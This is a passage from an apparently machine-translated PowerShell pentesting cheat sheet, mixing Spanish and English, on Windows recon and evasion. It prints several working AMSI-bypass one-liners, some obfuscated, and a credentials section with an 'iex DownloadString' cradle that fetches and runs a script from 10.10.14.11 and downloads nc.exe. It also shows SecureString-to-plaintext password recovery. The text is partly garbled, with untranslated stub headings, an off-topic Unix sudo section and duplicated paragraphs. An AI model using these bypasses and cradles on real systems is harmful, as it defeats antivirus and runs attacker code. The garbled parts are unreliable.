se carga en tu proceso y tiene las exportaciones necesarias para que cualquier aplicación interactúe con él. Y debido a que se carga en el espacio de memoria de un proceso que controlas, puedes cambiar su comportamiento sobrescribiendo las instrucciones en memoria. Haciendo que no detecte nada.
Por lo tanto, el objetivo de los bypasses de AMSI es sobrescribir las instrucciones de esa DLL en memoria para hacer que la detección sea inútil.
Página web generadora de bypass de AMSI: https://amsi.fail/
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )
# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)
# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/
# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass
# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
AMSI Bypass 2 - Hooking de llamadas a API administradas
Consulta esta publicación para obtener información detallada y el código.
Esta nueva técnica se basa en el hooking de llamadas a API de métodos .NET. Resulta que los métodos .NET deben compilarse en instrucciones de máquina nativas en la memoria, lo que hace que se vean muy similares a los métodos nativos. Estos métodos compilados pueden ser enganchados para cambiar el flujo de control de un programa.
Los pasos para realizar el hooking de llamadas a API de métodos .NET son:
- Identificar el método objetivo para enganchar
- Definir un método con el mismo prototipo de función que el objetivo
- Utilizar reflexión para encontrar los métodos
- Asegurarse de que cada método haya sido compilado
- Encontrar la ubicación de cada método en la memoria
- Sobrescribir el método objetivo con instrucciones que apunten a nuestro método malicioso
AMSI Bypass 3 - Privilegio SeDebug
Siguiendo esta guía y código, puedes ver cómo, con suficientes privilegios para depurar procesos, puedes generar un proceso powershell.exe, depurarlo, monitorear cuándo carga amsi.dll
y desactivarlo.
Historial de PS
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
Obtener permisos
To determine the permissions of a file or directory in Windows, you can use the Get-Acl
cmdlet in PowerShell. This cmdlet retrieves the access control list (ACL) for the specified object.
Get-Acl -Path C:\path\to\file.txt
This command will display the permissions associated with the specified file. The output will include information such as the owner of the file, the access control entries (ACEs) that define the permissions, and any inherited permissions.
You can also use the Get-Acl
cmdlet to retrieve the permissions for a directory:
Get-Acl -Path C:\path\to\directory
This command will display the permissions associated with the specified directory, including any subdirectories and files within it.
By using the Get-Acl
cmdlet, you can easily obtain the permissions of a file or directory in Windows, which can be useful for understanding the security settings and access rights of a system.
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
Versión del sistema operativo y HotFixes
Para obtener información sobre la versión del sistema operativo y los HotFixes instalados en un sistema Windows, puedes utilizar el siguiente comando de PowerShell:
Get-WmiObject -Class Win32_OperatingSystem | Select-Object Caption, CSDVersion, OSArchitecture
Este comando mostrará la versión del sistema operativo, la versión del Service Pack y la arquitectura del sistema.
Además, puedes obtener una lista de los HotFixes instalados en el sistema utilizando el siguiente comando:
Get-WmiObject -Class Win32_QuickFixEngineering | Select-Object HotFixID, InstalledOn
Este comando mostrará el identificador del HotFix y la fecha en que fue instalado.
Estos comandos son útiles para obtener información sobre la versión del sistema operativo y los HotFixes instalados, lo cual puede ser útil durante una evaluación de seguridad o una prueba de penetración.
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
Entorno
Purpose
Propósito
Prerequisites
Requisitos previos
Instructions
Instrucciones
Conclusion
Conclusión
Get-ChildItem Env: | ft Key,Value #get all values
$env:UserName @Get UserName value
Otras unidades conectadas
When conducting a penetration test on a Windows system, it is important to gather as much information as possible about the target. One valuable piece of information is the list of connected drives on the system. This can help identify additional storage devices or network shares that may contain sensitive data.
In PowerShell, you can use the Get-PSDrive
cmdlet to retrieve a list of all connected drives. This cmdlet returns information about both local and remote drives, including drive letters, drive types, and the root directory of each drive.
To retrieve the list of connected drives, open a PowerShell session and run the following command:
Get-PSDrive
This will display a table with information about each connected drive, including the drive letter, drive type, and root directory.
By examining the list of connected drives, you may discover additional storage devices or network shares that could potentially be targeted during your penetration test. This information can be useful for identifying potential attack vectors and areas of interest for further investigation.
Remember to always obtain proper authorization before conducting any penetration testing activities. Unauthorized access to systems or data is illegal and unethical.
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
Papelera de reciclaje
La Papelera de reciclaje es una característica de Windows que permite a los usuarios recuperar archivos y carpetas eliminados. Cuando se elimina un archivo o carpeta, en lugar de ser eliminado permanentemente, se mueve a la Papelera de reciclaje. Desde allí, los usuarios pueden restaurar los archivos o vaciar la Papelera de reciclaje para eliminarlos de forma permanente.
La Papelera de reciclaje se encuentra en el escritorio de Windows y se representa con un ícono de una papelera. Al hacer clic derecho en la Papelera de reciclaje, los usuarios pueden acceder a opciones adicionales, como restaurar archivos o cambiar la configuración de la Papelera de reciclaje.
Es importante tener en cuenta que la Papelera de reciclaje tiene un límite de capacidad y, una vez alcanzado, los archivos más antiguos se eliminarán automáticamente para dar espacio a los nuevos archivos eliminados. Por lo tanto, es recomendable vaciar periódicamente la Papelera de reciclaje para liberar espacio en el disco duro.
$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/
Reconocimiento de Dominio
{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}
Usuarios
Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name
Cadena segura a texto sin formato
Cuando se realiza una evaluación de seguridad en un entorno de Windows, a menudo es necesario analizar scripts de PowerShell para identificar posibles vulnerabilidades. Una técnica común utilizada por los pentesters es buscar cadenas seguras en los scripts de PowerShell y convertirlas a texto sin formato para su análisis.
A continuación se muestra un método sencillo para convertir una cadena segura en PowerShell a texto sin formato:
$secureString = ConvertTo-SecureString -String "MySecurePassword" -AsPlainText -Force
$plainText = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
En este ejemplo, la cadena segura "MySecurePassword" se convierte a texto sin formato utilizando el método ConvertTo-SecureString
. Luego, se utiliza la clase System.Runtime.InteropServices.Marshal
para convertir la cadena segura en un puntero a una cadena de caracteres (BSTR
) y finalmente se convierte en texto sin formato utilizando el método PtrToStringAuto
.
Es importante tener en cuenta que este método solo funciona si el script de PowerShell se ejecuta en el mismo contexto de usuario en el que se creó la cadena segura. Si el script se ejecuta en un contexto de usuario diferente, la cadena segura no se puede convertir a texto sin formato.
Esta técnica puede ser útil para analizar scripts de PowerShell en busca de posibles contraseñas o información sensible almacenada en cadenas seguras. Sin embargo, es importante recordar que el análisis de scripts de PowerShell debe realizarse de manera ética y legal, y solo en entornos autorizados.
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
O bien, analizando directamente desde XML:
$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
SUDO
El comando sudo
es una herramienta comúnmente utilizada en sistemas operativos basados en Unix para permitir a los usuarios ejecutar comandos con privilegios de superusuario. Esto es útil cuando se necesita realizar tareas administrativas que requieren permisos elevados.
Uso básico
El formato básico para usar sudo
es el siguiente:
sudo comando
Por ejemplo, si queremos reiniciar el sistema, podemos usar el siguiente comando:
sudo reboot
Autenticación
Cuando se ejecuta un comando con sudo
, se solicitará al usuario que proporcione su contraseña. Esto es para asegurarse de que el usuario tiene los permisos adecuados para ejecutar el comando con privilegios de superusuario.
Ejecución de comandos como otro usuario
Además de ejecutar comandos como superusuario, sudo
también permite ejecutar comandos como otro usuario. Para hacer esto, se utiliza la opción -u
seguida del nombre de usuario.
Por ejemplo, si queremos ejecutar el comando ls
como el usuario johndoe
, podemos usar el siguiente comando:
sudo -u johndoe ls
Configuración de sudo
La configuración de sudo
se encuentra en el archivo /etc/sudoers
. Este archivo define qué usuarios tienen permiso para ejecutar comandos con sudo
y qué comandos pueden ejecutar.
Es importante tener cuidado al modificar este archivo, ya que cualquier error puede resultar en la denegación de acceso a los comandos de superusuario.
Conclusiones
El comando sudo
es una herramienta poderosa que permite a los usuarios ejecutar comandos con privilegios de superusuario. Sin embargo, es importante utilizarlo con precaución y solo cuando sea necesario, para evitar posibles problemas de seguridad.
#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)
#For local:
Start-Process -Credential ($cred) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"
#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'
#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
Grupos
Introduction
Introducción
In Windows, groups are used to organize and manage user accounts. Groups allow you to assign permissions and access rights to multiple users at once, making it easier to manage security and access control.
En Windows, los grupos se utilizan para organizar y gestionar las cuentas de usuario. Los grupos permiten asignar permisos y derechos de acceso a varios usuarios a la vez, lo que facilita la gestión de la seguridad y el control de acceso.
Types of Groups
Tipos de Grupos
There are two types of groups in Windows:
Existen dos tipos de grupos en Windows:
-
Local Groups: These groups are created on a local machine and can only be used to grant permissions and access rights on that specific machine.
-
Grupos locales: Estos grupos se crean en una máquina local y solo se pueden utilizar para otorgar permisos y derechos de acceso en esa máquina específica.
-
Domain Groups: These groups are created in a Windows domain and can be used to grant permissions and access rights across multiple machines within the domain.
-
Grupos de dominio: Estos grupos se crean en un dominio de Windows y se pueden utilizar para otorgar permisos y derechos de acceso en varias máquinas dentro del dominio.
Group Membership
Pertenencia a Grupos
Users can be members of one or more groups. Group membership allows users to inherit the permissions and access rights assigned to the group.
Los usuarios pueden ser miembros de uno o más grupos. La pertenencia a un grupo permite a los usuarios heredar los permisos y derechos de acceso asignados al grupo.
Default Groups
Grupos Predeterminados
Windows has several default groups that are created automatically during the installation process. These groups have predefined permissions and access rights.
Windows tiene varios grupos predeterminados que se crean automáticamente durante el proceso de instalación. Estos grupos tienen permisos y derechos de acceso predefinidos.
Some of the commonly used default groups include:
Algunos de los grupos predeterminados comúnmente utilizados incluyen:
-
Administrators: Members of this group have full control over the system and can perform any administrative tasks.
-
Administradores: Los miembros de este grupo tienen control total sobre el sistema y pueden realizar cualquier tarea administrativa.
-
Users: Members of this group have standard user privileges and can perform common tasks.
-
Usuarios: Los miembros de este grupo tienen privilegios de usuario estándar y pueden realizar tareas comunes.
-
Guests: Members of this group have limited privileges and are typically used for guest or temporary accounts.
-
Invitados: Los miembros de este grupo tienen privilegios limitados y se utilizan típicamente para cuentas de invitados o temporales.
Creating and Managing Groups
Creación y Gestión de Grupos
To create and manage groups in Windows, you can use the PowerShell command-line interface. PowerShell provides a set of cmdlets specifically designed for managing groups.
Para crear y gestionar grupos en Windows, puedes utilizar la interfaz de línea de comandos de PowerShell. PowerShell proporciona un conjunto de cmdlets específicamente diseñados para gestionar grupos.
Here are some common PowerShell cmdlets for managing groups:
Aquí tienes algunos cmdlets comunes de PowerShell para gestionar grupos:
-
New-LocalGroup
: Creates a new local group. -
New-LocalGroup
: Crea un nuevo grupo local. -
Add-LocalGroupMember
: Adds a user or group to a local group. -
Add-LocalGroupMember
: Agrega un usuario o grupo a un grupo local. -
Get-LocalGroup
: Retrieves information about local groups. -
Get-LocalGroup
: Obtiene información sobre los grupos locales. -
Remove-LocalGroup
: Deletes a local group. -
Remove-LocalGroup
: Elimina un grupo local. -
New-ADGroup
: Creates a new domain group. -
New-ADGroup
: Crea un nuevo grupo de dominio. -
Add-ADGroupMember
: Adds a user or group to a domain group. -
Add-ADGroupMember
: Agrega un usuario o grupo a un grupo de dominio. -
Get-ADGroup
: Retrieves information about domain groups. -
Get-ADGroup
: Obtiene información sobre los grupos de dominio. -
Remove-ADGroup
: Deletes a domain group. -
Remove-ADGroup
: Elimina un grupo de dominio.
These cmdlets can be used to perform various group management tasks, such as creating new groups, adding or removing members, and retrieving information about existing groups.
Estos cmdlets se pueden utilizar para realizar diversas tareas de gestión de grupos, como crear nuevos grupos, agregar o eliminar miembros y obtener información sobre los grupos existentes.
Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators
Portapapeles
El portapapeles es una función en el sistema operativo que permite copiar y pegar texto, imágenes y otros datos entre diferentes aplicaciones. En PowerShell, puedes acceder al contenido del portapapeles utilizando el cmdlet Get-Clipboard
y puedes establecer el contenido del portapapeles utilizando el cmdlet Set-Clipboard
.
Obtener el contenido del portapapeles
Para obtener el contenido del portapapeles en PowerShell, puedes usar el cmdlet Get-Clipboard
. Aquí tienes un ejemplo:
$clipboardContent = Get-Clipboard
Establecer el contenido del portapapeles
Para establecer el contenido del portapapeles en PowerShell, puedes usar el cmdlet Set-Clipboard
. Aquí tienes un ejemplo:
Set-Clipboard -Value "Texto para copiar al portapapeles"
Usos maliciosos del portapapeles
El portapapeles puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Por ejemplo, un atacante puede utilizar técnicas de phishing para engañar a los usuarios y copiar información confidencial en el portapapeles sin su conocimiento. También es posible que un atacante utilice malware para monitorear el contenido del portapapeles y robar información sensible, como contraseñas o números de tarjetas de crédito.
Para protegerse contra estos ataques, es importante tener cuidado al copiar y pegar información sensible y asegurarse de que las aplicaciones y sistemas utilizados sean seguros y confiables. Además, es recomendable utilizar herramientas de seguridad, como antivirus y firewalls, para detectar y prevenir posibles ataques.
Conclusiones
El portapapeles es una función útil en el sistema operativo que permite copiar y pegar datos entre aplicaciones. Sin embargo, también puede ser utilizado de manera maliciosa por los atacantes para robar información sensible. Es importante tomar precauciones al utilizar el portapapeles y asegurarse de proteger la información confidencial.
Get-Clipboard
Procesos
Introduction
Introducción
Processes are the running instances of programs on a computer system. Understanding how processes work and how to interact with them is essential for a pentester. In this section, we will explore basic PowerShell commands for managing and interacting with processes.
Los procesos son las instancias en ejecución de programas en un sistema informático. Comprender cómo funcionan los procesos y cómo interactuar con ellos es esencial para un pentester. En esta sección, exploraremos comandos básicos de PowerShell para administrar e interactuar con procesos.
Listing Processes
Listado de procesos
To list all the processes running on a system, you can use the Get-Process
command. This command will display information such as the process ID (PID), name, and CPU usage for each process.
Para listar todos los procesos en ejecución en un sistema, puedes utilizar el comando Get-Process
. Este comando mostrará información como el ID del proceso (PID), el nombre y el uso de la CPU para cada proceso.
Get-Process
Killing a Process
Finalizar un proceso
To terminate a process, you can use the Stop-Process
command followed by the process ID (PID) or the process name. This command will forcefully terminate the specified process.
Para finalizar un proceso, puedes utilizar el comando Stop-Process
seguido del ID del proceso (PID) o del nombre del proceso. Este comando finalizará de forma forzada el proceso especificado.
Stop-Process -ID <PID>
Stop-Process -Name <process_name>
Starting a Process
Iniciar un proceso
To start a new process, you can use the Start-Process
command followed by the path to the executable file. This command will launch the specified program.
Para iniciar un nuevo proceso, puedes utilizar el comando Start-Process
seguido de la ruta al archivo ejecutable. Este comando iniciará el programa especificado.
Start-Process -FilePath <path_to_executable>
Conclusion
Conclusión
Understanding how to manage and interact with processes using PowerShell is crucial for a pentester. By mastering these basic commands, you will be able to effectively monitor and control processes on a target system.
Comprender cómo administrar e interactuar con procesos utilizando PowerShell es crucial para un pentester. Al dominar estos comandos básicos, podrás monitorear y controlar eficazmente los procesos en un sistema objetivo.
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
Servicios
Introduction
Introducción
In this section, we will cover some basic PowerShell commands that can be useful for pentesters when performing Windows hardening assessments. These commands can help you gather information about running services, manage services, and perform various tasks related to services.
En esta sección, cubriremos algunos comandos básicos de PowerShell que pueden ser útiles para los pentesters al realizar evaluaciones de endurecimiento de Windows. Estos comandos pueden ayudarte a recopilar información sobre los servicios en ejecución, administrar servicios y realizar diversas tareas relacionadas con los servicios.
Gathering Information about Services
Recopilación de información sobre los servicios
To gather information about running services on a Windows system, you can use the Get-Service
command. This command retrieves a list of all services on the system along with their status.
Para recopilar información sobre los servicios en ejecución en un sistema Windows, puedes utilizar el comando Get-Service
. Este comando recupera una lista de todos los servicios en el sistema junto con su estado.
Get-Service
This command will display a table with the following information for each service:
Este comando mostrará una tabla con la siguiente información para cada servicio:
-
Status
: The status of the service (Running, Stopped, etc.) -
Name
: The name of the service -
DisplayName
: The display name of the service -
PSComputerName
: The name of the computer where the service is running (useful for remote systems) -
Status
: El estado del servicio (Ejecutándose, Detenido, etc.) -
Name
: El nombre del servicio -
DisplayName
: El nombre para mostrar del servicio -
PSComputerName
: El nombre de la computadora donde se está ejecutando el servicio (útil para sistemas remotos)
You can also filter the results to display only specific services. For example, to display only running services, you can use the Where-Object
command:
También puedes filtrar los resultados para mostrar solo servicios específicos. Por ejemplo, para mostrar solo los servicios en ejecución, puedes utilizar el comando Where-Object
:
Get-Service | Where-Object { $_.Status -eq "Running" }
This command will display a list of only the running services.
Este comando mostrará una lista solo de los servicios en ejecución.
Managing Services
Administración de servicios
PowerShell provides several commands to manage services on a Windows system. Here are some commonly used commands:
PowerShell proporciona varios comandos para administrar servicios en un sistema Windows. Aquí hay algunos comandos comúnmente utilizados:
-
Start-Service
: Starts a service. -
Stop-Service
: Stops a service. -
Restart-Service
: Restarts a service. -
Set-Service
: Modifies the properties of a service. -
New-Service
: Creates a new service. -
Remove-Service
: Removes a service. -
Start-Service
: Inicia un servicio. -
Stop-Service
: Detiene un servicio. -
Restart-Service
: Reinicia un servicio. -
Set-Service
: Modifica las propiedades de un servicio. -
New-Service
: Crea un nuevo servicio. -
Remove-Service
: Elimina un servicio.
To use these commands, you need to specify the name of the service. For example, to start the "Print Spooler" service, you can use the following command:
Para utilizar estos comandos, debes especificar el nombre del servicio. Por ejemplo, para iniciar el servicio "Print Spooler", puedes utilizar el siguiente comando:
Start-Service -Name "Spooler"
This command will start the "Print Spooler" service.
Este comando iniciará el servicio "Print Spooler".
Conclusion
Conclusión
In this section, we covered some basic PowerShell commands for gathering information about services and managing services on a Windows system. These commands can be useful for pentesters during Windows hardening assessments.
En esta sección, cubrimos algunos comandos básicos de PowerShell para recopilar información sobre los servicios y administrar servicios en un sistema Windows. Estos comandos pueden ser útiles para los pentesters durante las evaluaciones de endurecimiento de Windows.
Get-Service
Contraseña desde una cadena segura
To securely store and retrieve passwords in PowerShell, you can use the ConvertTo-SecureString
and ConvertFrom-SecureString
cmdlets. These cmdlets allow you to convert a password to a secure string and then convert it back to a plain text password when needed.
Convertir una contraseña a una cadena segura
Para convertir una contraseña a una cadena segura, puedes utilizar el siguiente comando:
$securePassword = Read-Host -AsSecureString
$secureString = ConvertFrom-SecureString -SecureString $securePassword
$secureString | Out-File -FilePath "C:\path\to\securestring.txt"
Este comando solicitará al usuario que ingrese la contraseña y luego la convertirá a una cadena segura. A continuación, la cadena segura se guardará en un archivo de texto en la ubicación especificada.
Recuperar una contraseña desde una cadena segura
Para recuperar una contraseña desde una cadena segura, puedes utilizar el siguiente comando:
$secureString = Get-Content -Path "C:\path\to\securestring.txt" | ConvertTo-SecureString
$plainTextPassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString))
Este comando leerá la cadena segura desde el archivo de texto y la convertirá de nuevo a una contraseña en texto plano. La contraseña en texto plano se almacenará en la variable $plainTextPassword
y se puede utilizar según sea necesario.
Recuerda que al utilizar este método, debes asegurarte de proteger adecuadamente el archivo que contiene la cadena segura, ya que cualquier persona que tenga acceso a este archivo podría recuperar la contraseña en texto plano.
$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password
Tareas programadas
Scheduled tasks are a powerful feature in Windows that allow you to automate the execution of scripts or programs at specific times or intervals. As a pentester, understanding how to manipulate and exploit scheduled tasks can be valuable for gaining persistence and executing malicious actions on a target system.
Las tareas programadas son una característica poderosa en Windows que te permite automatizar la ejecución de scripts o programas en momentos o intervalos específicos. Como pentester, entender cómo manipular y explotar las tareas programadas puede ser valioso para obtener persistencia y ejecutar acciones maliciosas en un sistema objetivo.
Viewing Scheduled Tasks
Ver tareas programadas
To view the list of scheduled tasks on a Windows system, you can use the Get-ScheduledTask
cmdlet in PowerShell. This cmdlet retrieves information about all the scheduled tasks on the local system or a remote system.
Para ver la lista de tareas programadas en un sistema Windows, puedes utilizar el cmdlet Get-ScheduledTask
en PowerShell. Este cmdlet recupera información sobre todas las tareas programadas en el sistema local o en un sistema remoto.
Get-ScheduledTask
Creating Scheduled Tasks
Crear tareas programadas
To create a new scheduled task, you can use the New-ScheduledTask
cmdlet in PowerShell. This cmdlet allows you to specify the script or program to be executed, the trigger that defines when the task should run, and other settings such as the user account under which the task should run.
Para crear una nueva tarea programada, puedes utilizar el cmdlet New-ScheduledTask
en PowerShell. Este cmdlet te permite especificar el script o programa que se ejecutará, el desencadenador que define cuándo debe ejecutarse la tarea y otras configuraciones como la cuenta de usuario bajo la cual debe ejecutarse la tarea.
New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "C:\path\to\script.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 3am) -User "DOMAIN\username" -Password "password"
Modifying Scheduled Tasks
Modificar tareas programadas
To modify an existing scheduled task, you can use the Set-ScheduledTask
cmdlet in PowerShell. This cmdlet allows you to change various properties of the task, such as the script or program to be executed, the trigger, and the user account.
Para modificar una tarea programada existente, puedes utilizar el cmdlet Set-ScheduledTask
en PowerShell. Este cmdlet te permite cambiar varias propiedades de la tarea, como el script o programa que se ejecutará, el desencadenador y la cuenta de usuario.
Set-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName" -Action (New-ScheduledTaskAction -Execute "C:\path\to\newscript.ps1") -Trigger (New-ScheduledTaskTrigger -Daily -At 4am) -User "DOMAIN\username" -Password "password"
Deleting Scheduled Tasks
Eliminar tareas programadas
To delete a scheduled task, you can use the Unregister-ScheduledTask
cmdlet in PowerShell. This cmdlet removes the specified task from the system.
Para eliminar una tarea programada, puedes utilizar el cmdlet Unregister-ScheduledTask
en PowerShell. Este cmdlet elimina la tarea especificada del sistema.
Unregister-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"
Disabling Scheduled Tasks
Deshabilitar tareas programadas
To disable a scheduled task, you can use the Disable-ScheduledTask
cmdlet in PowerShell. This cmdlet prevents the task from running according to its trigger.
Para deshabilitar una tarea programada, puedes utilizar el cmdlet Disable-ScheduledTask
en PowerShell. Este cmdlet evita que la tarea se ejecute según su desencadenador.
Disable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"
Enabling Scheduled Tasks
Habilitar tareas programadas
To enable a disabled scheduled task, you can use the Enable-ScheduledTask
cmdlet in PowerShell. This cmdlet allows the task to run according to its trigger.
Para habilitar una tarea programada deshabilitada, puedes utilizar el cmdlet Enable-ScheduledTask
en PowerShell. Este cmdlet permite que la tarea se ejecute según su desencadenador.
Enable-ScheduledTask -TaskPath "\Folder" -TaskName "TaskName"
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Interfaces
Las interfaces son los puntos de conexión entre un dispositivo y una red. En Windows, se pueden utilizar comandos de PowerShell para administrar y configurar las interfaces de red.
Obtener información de las interfaces
Para obtener información sobre las interfaces de red en Windows, puedes utilizar el siguiente comando de PowerShell:
Get-NetAdapter
Este comando mostrará una lista de todas las interfaces de red en el sistema, incluyendo su nombre, descripción, estado y dirección MAC.
Habilitar o deshabilitar una interfaz
Puedes habilitar o deshabilitar una interfaz de red utilizando los siguientes comandos de PowerShell:
Enable-NetAdapter -Name "Nombre de la interfaz"
Disable-NetAdapter -Name "Nombre de la interfaz"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz que deseas habilitar o deshabilitar.
Cambiar la dirección MAC de una interfaz
Puedes cambiar la dirección MAC de una interfaz de red utilizando el siguiente comando de PowerShell:
Set-NetAdapter -Name "Nombre de la interfaz" -MacAddress "Nueva dirección MAC"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz a la que deseas cambiar la dirección MAC, y "Nueva dirección MAC" con la dirección MAC que deseas asignar.
Configurar una dirección IP estática
Puedes configurar una dirección IP estática en una interfaz de red utilizando el siguiente comando de PowerShell:
New-NetIPAddress -InterfaceAlias "Nombre de la interfaz" -IPAddress "Dirección IP" -PrefixLength "Longitud del prefijo"
Reemplaza "Nombre de la interfaz" con el nombre de la interfaz en la que deseas configurar la dirección IP, "Dirección IP" con la dirección IP que deseas asignar y "Longitud del prefijo" con la longitud del prefijo de la máscara de subred.
Configurar una dirección IP dinámica (DHCP)
